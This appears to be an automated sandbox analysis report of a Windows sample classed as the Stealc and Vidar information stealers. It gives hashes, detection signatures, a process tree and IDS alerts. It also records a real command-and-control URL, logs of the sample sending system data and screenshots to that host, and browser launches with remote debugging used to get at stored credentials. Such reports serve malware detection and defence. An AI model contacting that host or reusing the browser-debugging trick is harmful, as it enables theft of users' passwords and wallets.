Edit tour

Windows Analysis Report
ZXVcgrmGRM.exe

Overview

General Information

Sample name:	ZXVcgrmGRM.exe renamed because original name is a hash value
Original sample name:	f12ecb7e8dd8bfb2d68df43267aeba89.exe
Analysis ID:	1577938
MD5:	f12ecb7e8dd8bfb2d68df43267aeba89
SHA1:	f84adbecb1cc3db6be01ea506cb8e3e747d8356a
SHA256:	d851fac530f4b5d3f7f215f4257a8fd0248039b7beb7246b06fb2f47e5297d17
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Monitors registry run keys for changes

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ZXVcgrmGRM.exe (PID: 3276 cmdline: "C:\Users\user\Desktop\ZXVcgrmGRM.exe" MD5: F12ECB7E8DD8BFB2D68DF43267AEBA89)

chrome.exe (PID: 1988 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2380,i,3578664501745128445,4360506023146975092,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8068 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7732 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2092,i,8163321258425635501,2864813512632756992,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7852 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7612 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2212,i,6321557815017827348,2764551426916478204,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.219.81.135/c708352984fb7ac0.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2519556904.000000000050B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZXVcgrmGRM.exe PID: 3276	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: ZXVcgrmGRM.exe PID: 3276	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ZXVcgrmGRM.exe PID: 3276	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZXVcgrmGRM.exe PID: 3276	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.ZXVcgrmGRM.exe.4e0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.ZXVcgrmGRM.exe.4e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\ZXVcgrmGRM.exe", ParentImage: C:\Users\user\Desktop\ZXVcgrmGRM.exe, ParentProcessId: 3276, ParentProcessName: ZXVcgrmGRM.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 1988, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T22:02:10.316351+0100	2044245	1	Malware Command and Control Activity Detected	185.219.81.135	80	192.168.2.5	49706	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T22:02:10.193592+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.219.81.135	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T22:02:10.595589+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.219.81.135	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T22:02:50.649911+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.5	49764	185.219.81.135	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T22:02:11.806938+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.219.81.135	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T22:02:10.718523+0100	2044247	1	Malware Command and Control Activity Detected	185.219.81.135	80	192.168.2.5	49706	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T22:02:09.798691+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.219.81.135	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T22:02:12.935844+0100	2803304	3	Unknown Traffic	192.168.2.5	49706	185.219.81.135	80	TCP
2024-12-18T22:02:38.407185+0100	2803304	3	Unknown Traffic	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:40.251886+0100	2803304	3	Unknown Traffic	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:41.529282+0100	2803304	3	Unknown Traffic	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:42.687581+0100	2803304	3	Unknown Traffic	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:46.170567+0100	2803304	3	Unknown Traffic	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:47.039250+0100	2803304	3	Unknown Traffic	192.168.2.5	49764	185.219.81.135	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZXVcgrmGRM.exe

Avira: detected

Antivirus detection for URL or domain

Source: 185.219.81.135/c708352984fb7ac0.php	Avira URL Cloud: Label: malware
Source: http://185.219.81.135/c708352984fb7ac0.php	Avira URL Cloud: Label: malware

Found malware configuration

Source: ZXVcgrmGRM.exe.3276.0.memstrmin

Malware Configuration Extractor: StealC {"C2 url": "185.219.81.135/c708352984fb7ac0.php"}

Multi AV Scanner detection for submitted file

Source: ZXVcgrmGRM.exe

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: ZXVcgrmGRM.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C536C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C536C80

Source: ZXVcgrmGRM.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ZXVcgrmGRM.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: ZXVcgrmGRM.exe, 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: ZXVcgrmGRM.exe, 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49706 -> 185.219.81.135:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49706 -> 185.219.81.135:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.219.81.135:80 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49706 -> 185.219.81.135:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.219.81.135:80 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49706 -> 185.219.81.135:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.5:49764 -> 185.219.81.135:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 185.219.81.135/c708352984fb7ac0.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 21:02:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 21:02:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 21:02:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 